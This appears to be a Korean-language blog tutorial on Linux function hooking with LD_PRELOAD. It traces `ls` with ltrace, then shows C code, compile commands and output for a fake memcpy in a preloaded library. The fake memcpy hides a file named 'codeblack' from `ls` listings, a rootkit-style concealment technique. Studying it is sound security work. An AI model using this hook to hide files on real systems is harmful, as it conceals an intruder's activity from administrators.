Linux System hooking using LD_PRELOAD

공유 라이브러리의 경로를 의미하는 LD_PRELOAD를 이용하여 Linux System 후킹에 대한 이야기입니다. 크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여 명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.

LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에 시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.

Runtime library call

일단 시스템 명령의 runtime lib의 call 을 확인하기 위해 ltrace 라는 툴을 사용하여 확인할 수 있습니다. ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능합니다.(debian, ubuntu 기준)

apt-get install ltrace
Usage: ltrace [option ...] [command [arg ...]]
Trace library calls of a given program.

  -a, --align=COLUMN  align return values in a secific column.
  -A ARRAYLEN         maximum number of array elements to print.
  -c                  count time and calls, and report a summary on exit.
  -C, --demangle      decode low-level symbol names into user-level names.
  -D, --debug=LEVEL   enable debugging (see -Dh or --debug=help).
  -Dh, --debug=help   show help on debugging.
  -e expr             modify which events to trace.
  -f                  trace children (fork() and clone()).
  -F, --config=FILE   load alternate configuration file (may be repeated).
  -h, --help          display this help and exit.
  -i                  print instruction pointer at time of library call.
  -l, --library=FILE  print library calls from this library only.
  -L                  do NOT display library calls.
  -n, --indent=NR     indent output by NR spaces for each call level nesting.
  -o, --output=FILE   write the trace output to that file.
  -p PID              attach to the process with the process ID pid.
  -r                  print relative timestamps.
  -s STRLEN           specify the maximum string size to print.
  -S                  display system calls.
  -t, -tt, -ttt       print absolute timestamps.
  -T                  show the time spent inside each call.
  -u USERNAME         run command with the userid, groupid of username.
  -V, --version       output version information and exit.
  -x NAME             treat the global NAME like a library subroutine.

ltrace ls

ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같습니다.

ltrace ls
.....
opendir(".")                                                                                                                                = 0x011f1c30
readdir(0x011f1c30)                                                                                                                         = 0x011f1c60
readdir(0x011f1c30)                                                                                                                         = 0x011f1c78
strlen("codeblack")                                                                                                                         = 9
malloc(10)                                                                                                                                  = 0x011f9c70
memcpy(0x011f9c70, "codeblack", 10)  
....

해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있습니다. 이제 이 memcpy 함수를 변조하여 숨겨야할 파일을 숨겨보도록 하겠습니다.

가짜 memcpy 함수를 구현

아래와 같이 memcpy 함수를 구현해봅시다. man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능합니다.

NAME
       memcpy - copy memory area

SYNOPSIS
       #include <string.h>

       void *memcpy(void *dest, const void *src, size_t n);

동일한 형태로 함수 구성 후 기능 또한 동일하게 구현합니다.

#include <stdio.h>

void *memcpy(void *dest, const void *src, size_t count) {
        char* dst8 = (char*)dest;
        char* src8 = (char*)src;

        while (count--) {
            *dst8++ = *src8++;
        }
printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
        return dest;
    }
gcc -shared -fPIC -o hahwul.so hahwul.c
# output: hahwul.so

gcc options

  • fPIC : PIC(Position-Independent Code)이며 .o 파일을 해당 옵션을 통해 Object 파일을 .so 파일로 묶습니다.
  • shread : 공유 라이브러리와 링크, 공유 라이브러리가 없는 경우 정적 라이브러리와 링크합니다.

동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과 printf 를 사용하여 찍어낸 내용이 나타납니다. (ls 내 memcpy 함수가 우리가 만든 함수로 동작)

LD_PRELOAD=./hahwul.so ls
H4ck : memcpy[1727050][]
H4ck : memcpy[1727090][]
H4ck : memcpy[172bc10][.]
H4ck : memcpy[1733c70][hahwul.so]
H4ck : memcpy[1733c90][codeblack]
H4ck : memcpy[1733cb0][data1]
H4ck : memcpy[1733cd0][hahwul.c]
H4ck : memcpy[1733cf0][data2]
H4ck : memcpy[172bc60][�pr ]
H4ck : memcpy[172bc50][�pr ]
codeblack  data1  data2  hahwul.c  hahwul.so

ls 명령 시 특정 파일이 노출되지 않도록 memcpy 함수 수정

여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을 비교하여 memcpy 를 하지 않으면 됩니다.

codeblack 비교 구문 추가

if(strcmp(src,"codeblack")==0)
{
return dest;
}
#include <stdio.h>

void* memcpy(void* dest, const void* src, size_t count) {
    char* dst8 = (char*)dest;
    char* src8 = (char*)src;
    if(strcmp(src,"codeblack")==0)
    {
        return dest;
    }

    while (count--) {
        *dst8++ = *src8++;
    }  
    printf("H4ck : memcpy[%x][%s]\r\n",dest,src);
    return dest;
}

컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않습니다.

gcc -shared -fPIC -o hahwul.so hahwul.c  #so 파일 생성
LD_PRELOAD=./hahwul.so ls                #LD_PRELOAD에 .so 파일 포함 후 ls 실행

H4ck : memcpy[13e6050][]
H4ck : memcpy[13e6090][]
H4ck : memcpy[13eac10][.]
H4ck : memcpy[13f2c70][hahwul.so]
H4ck : memcpy[13f2cb0][data1]
H4ck : memcpy[13f2cd0][hahwul.c]
H4ck : memcpy[13f2cf0][data2]
..
   data1  data2  hahwul.c  hahwul.so

위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있습니다.

References

  • http://hyunmini.tistory.com/55
  • http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick